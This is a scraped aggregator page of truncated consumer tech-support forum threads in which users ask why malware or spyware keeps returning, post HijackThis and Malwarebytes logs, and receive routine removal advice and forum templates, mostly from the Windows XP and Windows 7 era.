Hello and welcome to Bleeping Computer! I am HelpBot: an automated program designed to help the Bleeping Computer Staff better assist you! This message contains very important information, so please read through all of it before doing anything. We apologize for the delay in responding to your request for help. Here at Bleeping Computer we get overwhelmed at times, and we are trying our best to keep up. Please note that your topic was not intentionally overlooked. Our mission is to help everyone in need, but sometimes it takes just a little longer to get to every request for help. No one is ignored here. To help Bleeping Computer better assist you please perform the following steps:*************************************************** In order to continue receiving help at BleepingComputer.com, YOU MUST tell me if you still need help or if your issue has already been resolved on your own or through another resource! To tell me this, please click on the following link and follow the instructions there.CLICK THIS LINK >>> http://www.bleepingcomputer.com/logreply/433026 <<< CLICK THIS LINK If you no longer need help, then all you needed to do was the previous instructions of telling me so. You can skip the rest of this post. If you do need help please continue with Step 2 below.*************************************************** If you still need help, I would like you to post a Reply to this topic (click the "Add Reply" button in the lo... Read more

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Relevance 48.79%

Hi

I am working on a friends PC which seems to be heavily infected. The symptoms are they are unable to load taskmanger and msconfig as soon as you select them they disappear. CPU usage seems to be extremely high and so it is difficult to run any other programs. Also there seems to be a lot of traffic when they get on the internet.

I have tried the FAQ and running the latest versions of spy bot, stinger, ad-aware, cwshredder they all seemed to find things which then just reappeared. Even though I ran cwshredder first ad-aware still found lots of coolwebsearch stuff which caused it to crash.

I have also cleaned up the system with ccleaner 1.18 and defragmented the hard drive.

The only way I was able to run Hijack this was in safe mode as other wise it would disappear as soon as I had opened it just like taskmanager.

Any help would be really appreciated.

Kind reagrds

Deitel

Logfile of HijackThis v1.99.1
Scan saved at 17:53:14, on 24/04/2005
Platform: Windows XP (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 (6.00.2600.0000)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\userinit.exe
C:\WINDOWS\System32\userinit32.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\System32\devldr32.exe
C:\Documents and Settings\Administrator\My Documents\hjt\HijackThis.exe

R0 - HKCU\Software\Microsoft\Internet Explore... Read more

Answer:viruses keep coming back

12 more replies
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hi, I have spyware files that come back every time I boot. The name is: IGetNet. Spybot and BPS get rid of them, but after I boot up again, they come back. Is there any other way I can delete them permantly? Thank you for any help.
 

Answer:spyware keeps coming back

look for any thing in your add/remove that says IGN and uninstall it.
 

6 more replies
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I've had some issues with this computer, ran Malwarebytes and seemed to be ok. Now, every time I run Malwarebytes, it finds multiple trojans and such.
see log:

alwarebytes Anti-Malware 1.60.0.1800
www.malwarebytes.org

Database version: v2012.01.13.02

Windows XP Service Pack 3 x86 NTFS
Internet Explorer 8.0.6001.18702
Dave :: DAVEANDBETS [administrator]

1/13/2012 9:35:40 AM
mbam-log-2012-01-13 (09-35-40).txt

Scan type: Quick scan
Scan options enabled: Memory | Startup | Registry | File System | Heuristics/Extra | Heuristics/Shuriken | PUP | PUM
Scan options disabled: P2P
Objects scanned: 231858
Time elapsed: 24 minute(s), 20 second(s)

Memory Processes Detected: 0
(No malicious items detected)

Memory Modules Detected: 0
(No malicious items detected)

Registry Keys Detected: 0
(No malicious items detected)

Registry Values Detected: 0
(No malicious items detected)

Registry Data Items Detected: 0
(No malicious items detected)

Folders Detected: 0
(No malicious items detected)

Files Detected: 18
C:\WINDOWS\Temp\tue0.025611008347881437.exe (Rogue.Chameleon2012) -> Quarantined and deleted successfully.
C:\WINDOWS\Temp\tue0.04322310983097066.exe (Trojan.FakeMS) -> Quarantined and deleted successfully.
C:\WINDOWS\Temp\tue0.11414868056561533.exe (Trojan.FakeMS) -> Quarantined and deleted successfully.
C:\WINDOWS\Temp\tue0.4467379515295722.exe (Trojan.Downloader.CBCGen) -> Quarantined and deleted successfully.
C:\WINDOWS\Temp\tue0.45533083493499504.exe (Rogue... Read more

Answer:Spyware keeps coming back

16 more replies
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Hi,

I have tried to remove Exactsearch from my PC, but everytime I scan with Panda it says my memory is infected with it again.

My Hijack this log is:

Logfile of HijackThis v1.99.1
Scan saved at 12:21:17 PM, on 26/04/2005
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\csrss.exe
C:\WINDOWS\SYSTEM32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\Program Files\Panda Software\Panda Titanium Antivirus 2005\PavProt.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\System32\brsvc01a.exe
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\System32\brss01a.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\nvsvc32.exe
C:\Program Files\Panda Software\Panda Titanium Antivirus 2005\Firewall\PavFires.exe
C:\Program Files\Panda Software\Panda Titanium Antivirus 2005\PavFnSvr.exe
C:\Program Files\Panda Software\Panda Titanium Antivirus 2005\Pavkre.exe
C:\Program Files\Common Files\Panda Software\PavShld\pavprsrv.exe
C:\Program Files\Panda Software\Panda Titanium Antivirus 2005\pavsrv51.exe
C:\Program Files\Panda Software\Panda Titanium Antivirus 2005\prevsrv.exe
C:\Program Files\Panda Software\Panda Titanium Antivirus 2005\PsImSvc.exe
C:\Program Files\Panda Software\Panda Titanium Antivirus 2005\AVENGINE.EXE
C:\WINDOWS\Expl... Read more

Answer:Exactsearch keeps coming back

hi, Can you post the exact location of the Exactsearch item Panda says it found please?

Look in the program Results or Report from a scan where it was found and post where the item supposedly is.

One thing to try is to find the quarantine or items that were removed by Microsoft Antispyware, AdAware, Spybot or other program and delete those backed up items> Panda or another scanner may detect those.
 

3 more replies
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I have been attacked and infected by the "your computer has been locked by the FBI" twice now. last week i was hit by it, then just today it wiped me out during final testings for my online course work.
I need this thing GONE quick and for good. How do i remove it for good?
Is this thing snatching all my passwords and info?
I need some help and info on this ransomware virus

Answer:Ransomware keeps coming back - HELP

Hello and Welcome to TSF.

If you haven't already, please Subscribe to this Thread to get immediate notification of replies as soon as they are posted. To do this click Thread Tools, then click Subscribe to this Thread. Make sure it is set to Instant notification by email, then click Add Subscription.

Please note that the forum is very busy and if I don't hear from you within three days this thread will be closed.

------------------------------------------------------

We want all our members to perform the steps outlined here:

NEW INSTRUCTIONS - Read This Before Posting For Malware Removal Help - Tech Support Forum

After running through all the steps, you shall have a proper set of logs. Please post/attach the logs in your next reply.

If you have trouble with one of the steps, simply move on to the next one, and make note of it in your reply.

------------------------------------------------------

If necessary, download and run the tools in Safe Mode with Networking: Restart your computer.
After hearing your computer beep once during startup, but before the Windows icon appears, start pressing the F8 key.
In some systems, this may be the F5 key.
Instead of Windows loading as normal, a menu should appear.
Use the up arrow key to highlight Safe Mode with Networking and press 'Enter'.
Login on your usual account.
------------------------------------------------------

2 more replies
Relevance 48.79%

I've had a frustrating issue lately with my PC.

A storm knocked out our ISP for an hour, and when the internet came back on, I was was swarmed with malware.

We cleaned it off with Kaspersky, Hitman Pro, and Norton. But the next morning, it returns. We clean it off again. The next day, it returns with rogues and backdoors.

And Norton/Hitman Pro says that the computer is completely clean, but as soon as it gets uninstalled, the rogues and backdoors are back again.

What is the issue here? Is our IP address compromised?

Answer:Malware Keeps Coming Back

Hello Mazy,

Yes and no. The problem is that none of the tools you've run have been able to properly eradicate the malware. Please follow the instructions in our pre-posting topic New Instructions - Read This Before Posting for Malware Removal Help and post the requested logs in your next reply.

If you have trouble with one of the steps, simply move on to the next one, and make note of it in your reply.

1 more replies
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Despite regular PC anti-virus scans, Avast, and online scanners like ESET and scans from Malwarebytes, which usually returns little, the one that captures malware best for me is Spybot.

But it seems I keep removing same malware like Fastclick etc.

Any other scans available?

I've posted Hijackthis scans many times in past, but stopped as I recently get no responses.

This forum must be really busy now.
 

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Hopefully I've included enough information and made this topic correctly...
 
Basically I had an issue where my microphone would mute itself, figured it was a virus, and ran malwarebytes. It found stuff, removed it, and everything worked fine... for about a few hours. A few hours later the same thing occurred, ran malwarebytes again and found the same thing: "dnsl64.exe" detected, along with other things that it appears to be downloading. No matter how many times I remove it it seems to come back, and googling dnsl64.exe popped up no results that I could find and then each scan (after a few hours) pops up a bunch of junk, even if I leave the computer idle. It also downloaded something that appeared to change my browser homepage to "search.snapdo.c*m" if that helps diagnose anything.
 
I've attached the MWB and FRST logs, hopefully they help diagnose what the problem is! Thank you in advance for any help, would really appreciate getting rid of this nasty thing.

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I have had this trojan virus for weeks now, i have done everything possible to get rid of it. i have googled like crazy, ran avg, avast, kaspersky, spybot, spydoctor, and many more. i am so close to reformatting, but i really don't want to. can someone please help.

i will post a hijackthis log file, as soon as someone responds to this.

please help!!!!

Answer:Trojan keeps coming back, help!!

Hello and Welcome to TSF.

We want all our members to perform the steps outlined in the link I'll give you below, before posting for assistance. There's a sticky at the top of this forum, and a
Quote:




Having problems with spyware and pop-ups? First Steps




link at the top of each page.

------------------------------------------------------

Please follow our pre-posting process outlined here:

http://www.techsupportforum.com/f50/...lp-305963.html

After running through all the steps, you shall have a proper set of logs. Please post them in a new thread, as this one shall be closed.

If you have trouble with one of the steps, simply move on to the next one, and make note of it in your reply.

Please note that the Virus/Trojan/Spyware Help forum is extremely busy, and it may take a while to receive a reply.

------------------------------------------------------

1 more replies
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I have a file folder that i keep deleting only for it to return. it doesn't come back at regular intervals either, it may take it a few minutes or the next time i open the laptop after hibernation. any ideas what is causing this?
 

Answer:folder keeps coming back

Welcome to Major Geeks. We really could use some information here. Please post the name of the folder, the folder's path/directory, which version of Windows you're running, etc...
Thanks!
 

1 more replies
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Hey guys,

I been using AntiVir and there have been lots of pop up saying that y.exe is a malware and i deleted it using antivir but it kept appearing. Also, I have found many unknown file in C:\Windows\system32 and searched them up which they came up as malware/spyware

I have run hijackthis and here is the log:


Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 9:23:59 AM, on 11/25/2008
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)
Boot mode: Normal

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\Program Files\Avira\AntiVir PersonalEdition Classic\sched.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\system32\CTHELPER.EXE
C:\WINDOWS\system32\LVCOMSX.EXE
C:\Program Files\DAEMON Tools\daemon.exe
C:\Program Files\Microsoft Office\Office12\GrooveMonitor.exe
C:\WINDOWS\system32\RUNDLL32.EXE
C:\Program Files\Avira\AntiVir PersonalEdition Classic\avgnt.exe
C:\WINDOWS\system32\ctfmon.exe
C:\Program Files\Avira\AntiVir PersonalEdition Classic\avguard.exe
C:\WINDOWS\ATKKBService.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\nvsvc32.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\PnkBstrA.exe
C:\WINDOWS\system32\PnkBstrB.exe
C:\WINDOWS\system32\svchost.exe
C:\W... Read more

Answer:Malware kept coming back

Hi, welcome to TSF!

Before we continue, please follow the instructions presented in this thread: http://www.techsupportforum.com/secu...oval-help.html then post the requested logs.

2 more replies
Relevance 48.79%

I've been getting the Win 7 Antivirus problem every few days lately. I can run a scan with mbam and kill it, but it keeps returning.Any advice?Heres a hijackthis log:
Logfile of Trend Micro HijackThis v2.0.4
Scan saved at 4:48:46 PM, on 1/2/2012
Platform: Windows 7 SP1 (WinNT 6.00.3505)
MSIE: Internet Explorer v8.00 (8.00.7601.17514)
Boot mode: Normal

Running processes:
C:\Program Files (x86)\Sophos\Sophos Anti-Virus\SavService.exe
C:\Program Files (x86)\Steam\Steam.exe
C:\Program Files (x86)\DAEMON Tools Lite\DTLite.exe
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
C:\Program Files\Winamp\winampa.exe
C:\Program Files (x86)\Sophos\AutoUpdate\ALMon.exe
C:\Program Files (x86)\Sophos\Sophos Anti-Virus\SAVAdminService.exe
C:\Program Files (x86)\Sophos\AutoUpdate\ALsvc.exe
C:\Program Files (x86)\Sophos\Sophos Anti-Virus\Web Intelligence\swi_service.exe
C:\Program Files\VMware\VMware View\Client\bin\wsnm.exe
C:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamservice.exe
C:\Program Files\Winamp\winamp.exe
C:\Program Files (x86)\Notepad++\notepad++.exe
C:\Program Files\Mozilla Firefox\firefox.exe
C:\Program Files\Mozilla Firefox\plugin-container.exe
C:\Program Files\... Read more

Answer:Win 7 Antivirus keeps coming back

Hello and welcome to Bleeping Computer! I am HelpBot: an automated program designed to help the Bleeping Computer Staff better assist you! This message contains very important information, so please read through all of it before doing anything. We apologize for the delay in responding to your request for help. Here at Bleeping Computer we get overwhelmed at times, and we are trying our best to keep up. Please note that your topic was not intentionally overlooked. Our mission is to help everyone in need, but sometimes it takes just a little longer to get to every request for help. No one is ignored here. To help Bleeping Computer better assist you please perform the following steps:*************************************************** In order to continue receiving help at BleepingComputer.com, YOU MUST tell me if you still need help or if your issue has already been resolved on your own or through another resource! To tell me this, please click on the following link and follow the instructions there.CLICK THIS LINK >>> http://www.bleepingcomputer.com/logreply/435844 <<< CLICK THIS LINK If you no longer need help, then all you needed to do was the previous instructions of telling me so. You can skip the rest of this post. If you do need help please continue with Step 2 below.*************************************************** If you still need help, I would like you to post a Reply to this topic (click the "Add Reply" button in the lo... Read more

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i scanned my flash drive with Avast antivirus and it detected a virus "antisys.exe". i had it removed but after using the disk and running a scan again, its back. I don't see the file on the drive but Avast kept telling me it is infected with the "antisys.exe" virus. and after deleting the file using avast and running a scan again, it's still there. Is it really a virus? how do i remove it without losing all the data in my flash drive. Any help is greatly appreciated. Thanks in advance.
 

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Relevance 48.79%

So my computer got a virus from a game that I tried downloading. Avast! did a boot scan and got rid of it, but a day or two later, I got messages from Chrome that said I had a virus again, but of course those are usually scams. I did another scan, just to be safe, and Avast! found two items, got rid of them, and ran another boot scan, just to be safe.

Next day, I figured it had to be from Chrome because of the fact that I attempted to download the game from Chrome and was getting odd popups and such but IE wasn't doing that. So I deleted it. My friend suggested downloading Malwarebytes so I did that as well. It found two more Trojans and so did Avast! after a full system scan. Got rid of those as well and found they were gone afterwards.

I can't tell if my computer is infected again but earlier Malwarebytes apparently blocked a couple malicious websites, and since Avast! usually did that when the virus would come back, I ran another scan and found one thing, a YouTubeAdBlocker, I don't know if I wanted to get rid of that because an AdBlocker sounds like something I would want to keep and I heard that sometimes, Malwarebytes finds things that aren't really dangerous, but idk I am not an expert. I tried not to worry about it after that but I just want to be safe.

I am running two full system scans as we speak with Malwarebytes and Avast! to see if they will find anything that way since quick scans didn't find anything (except the AdBlocker again) and... Read more

Answer:Virus that keeps coming back?

Hi,
In order to help you, we need reports generated on your system. Please follow this topic and attach requested reports: http://malwaretips.com/threads/malware-removal-assistance-how-to-get-help.20334/
 

1 more replies
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My sister-in-law's PC runs Vista Buisness and recently gave her a popup from a "Norton" scan. Said she had 80+ viruses, problem is she hasn't had Norton since I removed the trial version that came with her PC over a year ago. And yes I used the Norton removal tool. Now checking Task Manager I found the ccSvcHst.exe file running, I downloaded and ran a new version of the Norton Removal tool. It stops the process but it comes back on restart.

She has McAfee running and updated, i ran (and updated each first) Spybot and Malwarebytes. Nothing was found.

Where this keeps coming back I'm wondering if the system is infected with something that is getting past McAfee, Spybot and Malwarebytes?

Any suggestion would be appreciated.

Answer:ccSvcHst.exe Keeps coming back

If you take a look here, this exe is actually a part of the Norton/Symantec GUI and is not a virus.

6 more replies
Relevance 48.79%

Hi,
I cannot seem to completely clean this IE hijacker from my system.
I have Windows XP and I am running HijackThis 1.98.2 to scan and fix.

I delete entries such as:
R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Bar = file://C:\WINDOWS\Profiles\sid\LOCALS~1\Temp\sp.html
I get on the web again afterwards, and this spyware is back.

Does anyone know to fix this completely?
Thanks
Sid
 

Answer:oz.msie.tv keeps coming back

16 more replies
Relevance 48.79%

i use windows XP home edition, mozilla to browse

about a month ago someone else was using my laptop and a bunch of infections were detected by the free version of AVG. i removed all the selected infections then ran malwarebytes which detected some more things and removed them. after rebooting and running malwarebytes again my laptop seemed clean. however, every time i have run malwarebytes since then (about 3 times), there will be no objects detected. BUT, AVG will pop up and say there are infections on my computer. so today, suddenly a bunch of internet popups show up on my laptop and AVG also shows up with a bunch of infections. i'll list some of the trojans that have been detected by AVG.

Trojan horse Pakes.DDT
Virus found Win32/Heur
Trojan horse Downloader.Zlob_r.EX
Trojan horse SHeur2.YNO
Trojan horse Small.BHD
Trojan horse Pakes.DDT
Trojan horse SHeur2.ZZF
(then there were a bunch of tracking cookies detected by AVG)
Trojan horse Agent2.DZZ
Trojan horse Generic13.ADTY
Trojan horse Agent2.EJA
Trojan horse Downloader.Generic8.AHTY

Answer:trojan that keeps coming back?

Run scans with Super Antispyware free and MalwareBytes AntiMalware free.Links to download and instructions in link below.Be sure to update both programs after downloading, installing and before scanning.http://www.bleepingcomputer.com/forums/ind...t&p=1087935Follow the instructions and post the logs in your next reply.Note that Super Antispyware scan is best run in safe mode per instructions.

16 more replies
Relevance 48.79%

Ok..this is my log with mysearchnow removed from it...it wont go away.as soon as i turn my computer on and opened one email i had it...i dont understand how!
Logfile of HijackThis v1.98.2
Scan saved at 12:47:22, on 30/10/2004
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\LEXBCES.EXE
C:\WINDOWS\system32\LEXPPS.EXE
C:\WINDOWS\system32\spoolsv.exe
C:\Program Files\Common Files\Symantec Shared\ccProxy.exe
C:\Program Files\Common Files\Symantec Shared\ccSetMgr.exe
C:\Program Files\Cisco Systems\VPN Client\cvpnd.exe
C:\Program Files\Norton Internet Security Professional\Norton AntiVirus\navapsvc.exe
C:\Program Files\Norton Internet Security Professional\Norton AntiVirus\AdvTools\NPROTECT.EXE
C:\Program Files\Norton Internet Security Professional\Norton AntiVirus\SAVScan.exe
C:\Program Files\Common Files\Symantec Shared\SNDSrvc.exe
C:\WINDOWS\System32\svchost.exe
C:\Program Files\Common Files\Symantec Shared\CCPD-LC\symlcsvc.exe
C:\Program Files\UltraVNC\WinVNC.exe
C:\Program Files\Common Files\Symantec Shared\ccEvtMgr.exe
C:\Program Files\Common Files\Symantec Shared\Security Center\SymWSC.exe
C:\WINDOWS\Explorer.EXE
C:\Program Files\Dell AIO Printer A920\dlbkbmgr.exe
C:\Program Files\Common Files\Symantec S... Read more

Answer:mysearchnow keeps coming back

You were being helped here: http://forums.techguy.org/showthread.php?t=290383

You should continue with the same thread.
 

1 more replies
Relevance 48.79%

here is the log:

Malwarebytes' Anti-Malware 1.34
Database version: 1823
Windows 5.1.2600 Service Pack 2

3/5/2009 9:18:09 PM
mbam-log-2009-03-05 (21-18-09).txt

Scan type: Quick Scan
Objects scanned: 65386
Time elapsed: 2 minute(s), 2 second(s)

Memory Processes Infected: 0
Memory Modules Infected: 0
Registry Keys Infected: 0
Registry Values Infected: 0
Registry Data Items Infected: 0
Folders Infected: 0
Files Infected: 1

Memory Processes Infected:
(No malicious items detected)

Memory Modules Infected:
(No malicious items detected)

Registry Keys Infected:
(No malicious items detected)

Registry Values Infected:
(No malicious items detected)

Registry Data Items Infected:
(No malicious items detected)

Folders Infected:
(No malicious items detected)

Files Infected:
C:\WINDOWS\system32\meI6qj75.dll (Trojan.Agent) -> Quarantined and deleted successfully.

Answer:trojan keeps coming back!

Please print out and follow these instructions: "How to use SDFix". When using this tool, you must use the Administrator's account or an account with "Administrative rights"Disconnect from the Internet and temporarily disable your anti-virus, script blocking and any real time protection programs before performing a scan.When done, the SDFix report log will open in notepad and automatically be saved in the SDFix folder as Report.txt.If SDFix is unable to run after rebooting from Safe Mode, run SDFix in either Mode, and type F, then press Enter for it to finish the final stage and produce the report.Please copy and paste the contents of Report.txt in your next reply.Be sure to renable you anti-virus and and other security programs before connecting to the Internet.-- If the computer has been infected with the VirusAlert! malware warning from the clock and the Start Menu icons or drives are not visible, open the SDFix folder, right-click on either the XP_VirusAlert_Repair.inf or W2K VirusAlert_Repair.inf (depending on your version of Windows) and select Install from the Context menu. Then reboot to apply the changes.

10 more replies
Relevance 48.79%

Vundo Keeps coming back

OS:Windows XP, SP3

Hi,
I was forwarded from "http://www.bleepingcomputer.com/forums/t/203107/after-windows-update-multiple-program-errors-pc-restarting-on-its-own/" to post here.... That thread kinda died... anyway...

Over the past month I've found multiple instances of Vundo, and things seem to be getting worse.
Every time I try to clean my system, Vundo keeps coming back - even if I dont do any browsing.
Most recently, i've been experiencing applications freezing (Firefox, McAfee, Warcraft3)
The system has also crashed mid-scan using McAfee several times, but not lately.
I'm unsure if these problems are related to the Virus or other system issues - I figure get rid of the virus first and troubleshoot the rest later.
My system is fairly new (Dec 08), it came with McAfee Enterprise installed. I also installed the free version of Spyware Doctor on my computer.
Neither of which seem to be able to remove the Virus, and at times can not even detect it.

I've started to notice that sometimes McAfee is disabled after restarting the computer; I hadn't changed any settings for that to occur.

I've tried using Malwarebytes Anti-Malware as well as SUPER Anti-Spyware, both of which are doing a better job of finding and clearing traces of the virus (compared to McAfee). Also tried VirtumundoBeGone and in haste, ComboFix.

VirtumundoBeGone found no traces, and Combofix didnt do anything noticable.

Please help!
Let me know if there are any logs or reports you ... Read more

Answer:Vundo Keeps coming back, not sure what to do

Well the best we can do is get an MBAM and perhaps a SUPER Anti-Spyware log to start with.Open MBAM in normal mode and click Update tab, select Check for Updates,when doneclick Scanner tab,select Quick scan and scan.After scan click Remove Selected, Post new scan log and Reboot into normal mode.

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i recently have been getting more popups, and they have been saying "brought to you by 180 search assistant" i have ran numerous different types of spyware scan and they have deleted spyware but it keeps coming back. Also i have been getting trojan horses that keep coming back also.
im on xp home edition
thanx
 

Answer:spyware keeps coming back!! :(

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Hi, I was wondering if someone could help...I have a recurring problem. I have not installed any new software or hardware, but have been having this problem since day 1.
I got a new hard drive, reformatted it on my laptop (thinkpad 600X), and installed XP. I periodically get BSOD with the same message each time...
The mini dump datafile is below. Could anyone shed some light as to the cause?
I really appreciate it...thanks in advance

BugCheck 100000D0, {81c00010, 2, 1, 80549fb8}

Probably caused by : HTTP.sys ( HTTP!UlIsLowNPPCondition+55 )

Followup: MachineOwner
---------

kd> !analyze -v
************************************************** *****************************
* *
* Bugcheck Analysis *
* *
************************************************** *****************************

DRIVER_CORRUPTED_MMPOOL (d0)
Arguments:
Arg1: 81c00010, memory referenced
Arg2: 00000002, IRQL
Arg3: 00000001, value 0 = read operation, 1 = write operation
Arg4: 80549fb8, address which referenced memory
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high. This is
caused by drivers that have corrupted the system pool. Run the driver
verifier against any new (or suspect) drivers, and if that doesn't turn up
the culprit, then use gflags to enable special pool. You can also set
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ProtectNonPagedPool
to a DWORD 1... Read more

Answer:BSOD keeps coming back

Hi .Http.sys is a Windows file, the scene of the crime.If it were me, I'd try the registry edit suggested...but lets's try something else first.Worth reading, http://www.linkroll.com/Operating-Systems-...ptedMmpool.htmlWhat I would suggest is running either sfc /scannow or doing a repair install of XP. A repair install will probably take the same amount of time as running sfc /scannow, but will result in your needing to reinstall critical updates issues since the date the CD used will have been created.Doing either of these...requires a CD that reflects the same version of XP and at least the same level of SPs installed as your system currently reflects.How To Use Sfc.exe To Repair System Files - http://www.bleepingcomputer.com/forums/t/43051/how-to-use-sfcexe-to-repair-system-files/ How to Perform a Windows XP Repair Install - http://www.michaelstevenstech.com/XPrepairinstall.htm OTOH..you can elect to try the registry edit suggested in the analysis you provided. Since this involves editing the registry, the typical caution goes out to you. Editing the registry is something that can produce unwanted effects, so users are requested to back up the registry before considering such. A good tool for backing up the registry can be found at ERUNT Registry Backup Tool - http://www.snapfiles.com/get/erunt.html .If you are comfortable editing the registry or attempting such, then I would consider that suggestion.Louis

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so i didn't have this problem before and i JUST upgraded to SP2 via windows update and the installation went normal.everything seems to work fine but there's this program that i wasn't sure about that popped up as an alert from ZoneAlarm: MSNNOED.exe. i tried to google to see if this was a legit file but i couldn't find anything so i click no to not allow it to access the internet.i ran my virus checker and it didn't pick up anything. but when i ran malewarebytes with the most recent update, it found 3 "infected" files, one of which was the MSNNOED.exe and malewarebytes says it's a trojan agent. also it finds a comsa32.sys file which it deems as a trojan agent. when i search for that MSNNOED.exe file on my computer, it's in the WINDOWS\SYSTEM32 directory and there's another file in the Prefetch directory: MSNNOED.EXE-05ABE18F.pfnot sure what they are but malewarebytes quarantines them and removes them but requires a restart, which i do. when i restart and load back up, everything is fine and the file is supposedly gone (meaning when i try doing a search, MSNNOED.exe isn't there anymore as well as the other files). but when i try to open up task manager to see if it really is, shortly afterward i get an alert from ZoneAlarm saying do i want to let MSNNOED.exe access the internet. i click no. i do a search on my system again and sure enough, those same files are back there. is there a "hidden" program that... Read more

Answer:MSNNOED.exe keeps coming back

i found something that problem might work here: http://www.bleepingcomputer.com/forums/t/178477/win32refpro/this person had the same issue that i'm having now i'm thinking. the only difference is that in my HJT log, i see an MSCNCO.exe running in my SYSTEM32 directory which probably is running the MSNNEOD.exe file. i have an entry that says: O23 - Service: Ms Database Manager Service (mscncosd) - Unknown Owner - C\WINDOWS\SYSTEM32\mscnco.exethe only problem is i can't delete this file because it says it's in use. i haven't done combofix, as i'm not sure how to use it and am awaiting your help. supposedly that's the file causing the loading of the other files, according to that person who posted in the link i provided.please advise. thanks!!

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Hi, I've had this problem for about a week now. Something seems to have gotten onto my computer. The main thing I notice is there is a program called brastk.exe that gets autorun on startup. There are also a number of startup entries in msconfig that reactivate even if I disable them. They are:
"rundll32" which runs a dll called drkly16j.dll
"dumprep 0 -u"
"brastk.exe"

If I delete brastk.exe or drkly16j.dll they just get recreated on the next boot. It appears that something besides a program is running at startup, possibly a service or a program running on shutdown. There is also something redirecting my google searches, and when I plug in my flash drive an autorun file gets created along with a file called system.exe.

EDIT: uh-oh, I just tried to run HJT and Spybot and neither will start! No error messages, just double clicking on the program and nothing happens.

Answer:Malware keeps coming back

Please download Malwarebytes Anti-Malware and save it to your desktop.Make sure you are connected to the Internet.Double-click on mbam-setup.exe to install the application.When the installation begins, follow the prompts and do not make any changes to default settings.When installation has finished, make sure you leave both of these checked:Update Malwarebytes' Anti-MalwareLaunch Malwarebytes' Anti-MalwareThen click Finish.MBAM will automatically start and you will be asked to update the program before performing a scan. If an update is found, the program will automatically update itself. Press the OK button to close that box and continue. If you encounter any problems while downloading the updates, manually download them from here and just double-click on mbam-rules.exe to install.On the Scanner tab:Make sure the "Perform Quick Scan" option is selected.Then click on the Scan button.If asked to select the drives to scan, leave all the drives selected and click on the Start Scan button. The scan will begin and "Scan in progress" will show at the top. It may take some time to complete so please be patient.When the scan is finished, a message box will say "The scan completed successfully. Click 'Show Results' to display all objects found".Click OK to close the message box and continue with the removal process.Back at the main Scanner screen, click on the Show Results button to see a list of any malware that was found.Make sure that e... Read more

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On my win XP desktop I found couple of viruses 1-trojan metajuan and 2 trojan virtumonde, while scanned with Norton antivirus.
NAV removed the virus not once twice but more than 4 times and keep coming back even after disabling the system restore.

I also used PC tools spyware doctor and scan the computer several times the same same viruses keep coming back.
Any help will be very much appreciated.
Please help me remove this viruses from computer.
Thank you.

Answer:Virtumonde Keeps Coming Back

You need to post in the correct forum. I'll move you there

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Hi. I have spent most of the past week trying to rid my computer of spyware and adware. Apparently DH clicked on something he shouldn't have, and opened the door to lots of unwelcome guests. I have Spybot now, and pop-ups are fewer, but not gone. Still can't get rid of new toolbar just for searches. I have tweaked the registry some, following various advice on forums found by searching Google. I have WinTasks Pro. Here is my new Hijack This log. I see many more BHOs than I would have thought, since my activity. Apparently they regenerate on their own!

Logfile of HijackThis v1.98.2
Scan saved at 6:40:11 PM, on 10/2/2004
Platform: Windows XP SP1 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\System32\dllhost.exe
C:\WINDOWS\System32\CTsvcCDA.EXE
c:\Program Files\Norton AntiVirus\navapsvc.exe
C:\Program Files\Common Files\Symantec Shared\SNDSrvc.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\ZoneLabs\vsmon.exe
C:\WINDOWS\System32\dmadmin.exe
C:\Program Files\Spybot - Search & Destroy\TeaTimer.exe
C:\PROGRA~1\NORTON~1\navapw32.exe
C:\Program Files\QuickTime\qttask.exe
C:\Program Files\Creative\ShareDLL\CtNotify.exe
C:\Program Files\Zone Labs\ZoneAlarm\zlclient.exe
C:\WINDOWS\System32\lssr... Read more

